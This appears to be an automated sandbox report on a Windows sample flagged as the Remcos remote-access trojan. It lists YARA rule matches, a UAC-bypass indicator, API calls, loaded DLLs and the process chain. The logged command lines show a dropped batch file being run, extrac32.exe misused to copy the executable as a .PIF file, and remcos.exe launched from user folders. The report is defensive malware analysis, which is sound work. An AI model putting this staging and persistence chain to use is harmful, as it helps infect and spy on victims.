Source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: C:\Users\Public\Libraries\XjfxsfmnO.bat, type: DROPPED	Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@24/14@4/1

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		6_1_00417952
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		10_1_00417952

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D67F90 GetDiskFreeSpaceA,

0_2_02D67F90

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

6_1_0040F474

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D76D84 CoCreateInstance,

0_2_02D76D84

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

6_1_0041B4A8

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

6_1_0041AA4A

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

File created: C:\Users\Public\Libraries\Null

Jump to behavior

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-L24XL1
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4488:120:WilError_03

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\XjfxsfmnO.bat" "

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Software\	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Rmc-L24XL1	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Exe	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Exe	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Rmc-L24XL1	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Inj	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Inj	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: 8SG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: exepath	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: 8SG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: exepath	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: licence	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: dMG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PSG	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Administrator	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: User	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: del	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: del	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: del	6_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Software\	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Rmc-L24XL1	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Exe	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Exe	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Rmc-L24XL1	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Inj	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Inj	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: 8SG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: exepath	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: 8SG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: exepath	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: licence	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: dMG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: PSG	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: Administrator	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: User	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: del	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: del	10_1_0040E9C5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Command line argument: del	10_1_0040E9C5

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: udVh4Ist4Z.exe	ReversingLabs: Detection: 63%
Source: udVh4Ist4Z.exe	Virustotal: Detection: 66%

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

File read: C:\Users\user\Desktop\udVh4Ist4Z.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\udVh4Ist4Z.exe "C:\Users\user\Desktop\udVh4Ist4Z.exe"
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\XjfxsfmnO.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\udVh4Ist4Z.exe C:\\Users\\Public\\Libraries\\Xjfxsfmn.PIF
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\ProgramData\Remcos\remcos.exe "C:\ProgramData\Remcos\remcos.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Xjfxsfmn.PIF "C:\Users\Public\Libraries\Xjfxsfmn.PIF"
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"
Source: unknown	Process created: C:\ProgramData\Remcos\remcos.exe "C:\ProgramData\Remcos\remcos.exe"
Source: unknown	Process created: C:\ProgramData\Remcos\remcos.exe "C:\ProgramData\Remcos\remcos.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Xjfxsfmn.PIF "C:\Users\Public\Libraries\Xjfxsfmn.PIF"
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\XjfxsfmnO.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\udVh4Ist4Z.exe C:\\Users\\Public\\Libraries\\Xjfxsfmn.PIF	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\ProgramData\Remcos\remcos.exe "C:\ProgramData\Remcos\remcos.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: archiveint.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
